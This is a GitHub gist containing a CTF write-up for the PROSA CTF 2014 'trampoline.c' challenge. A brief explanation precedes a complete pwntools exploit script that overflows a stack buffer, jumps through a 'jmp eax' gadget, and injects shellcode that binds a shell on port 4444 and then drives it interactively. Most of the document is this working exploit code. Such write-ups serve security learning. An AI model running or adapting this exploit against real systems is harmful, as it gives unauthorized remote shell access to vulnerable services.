Skip to content

Instantly share code, notes, and snippets.

@christianpanton
Last active August 29, 2015 14:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save christianpanton/52ad8f2d22ea5c891428 to your computer and use it in GitHub Desktop.
Save christianpanton/52ad8f2d22ea5c891428 to your computer and use it in GitHub Desktop.
PROSA CTF 2014 "trampoline.c" writeup
Basicly the same idea as the previous challenge.
Instead of getting an explicit location for the return
value needed to jump to the start of the shellcode, we
need to find a register that holds that start (in this
case $eax points to the start of the buffer, so we are
in luck) and find some code inside the binary that jumps
there. That we can find with ROPGadget.
The tips were really helpful.
One thing that bothered me, was that the shellcode on the
stack got corrupted, so I had to "add esp, 0xff" to
increase the stackpointer location, to stay out of my
shellcode.
And I'm in love with pwntools.
from pwn import *
TARGET_HOST = "localhost"
TARGET_PORT = 1337
SHELL_PORT = 4444
accept = shellcraft.i386.linux.acceptloop_ipv4(SHELL_PORT) # bind to port
dupsh = shellcraft.i386.linux.dupsh("ebp") # spawn a shell
addesp = "add esp,0xff" # else shellcode gets overwritten on the stack
shellcode = asm(addesp + "\n" + accept + "\n" + dupsh, arch='i386', os='linux')
log.info("Shellcode length: %d" % len(shellcode))
sock = remote(TARGET_HOST, TARGET_PORT)
sock.recv()
trigger = cyclic(200)
# uncomment to generate segfault
#sock.sendline(trigger)
# get location of segfault from GDB
segfault = unhex("6261616b")[::-1]
padding = cyclic_find(segfault)
# use this trampoline to jump back to the start of the stack buffer (saved in eax)
trampoline = unhex("080486e6")[::-1] # from ROPGadget, jmp $eax
# calc how much padding is needed between shellcode in the stackbuffer to the trampoline
padding_needed = padding-len(shellcode)
log.info("Need %d bytes of padding" % padding_needed)
sock.sendline(shellcode + "A"*(padding_needed) + trampoline)
shell = remote(TARGET_HOST, SHELL_PORT)
shell.sendline("id")
log.info("Your shell is: %s" % shell.recv().strip())
shell.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment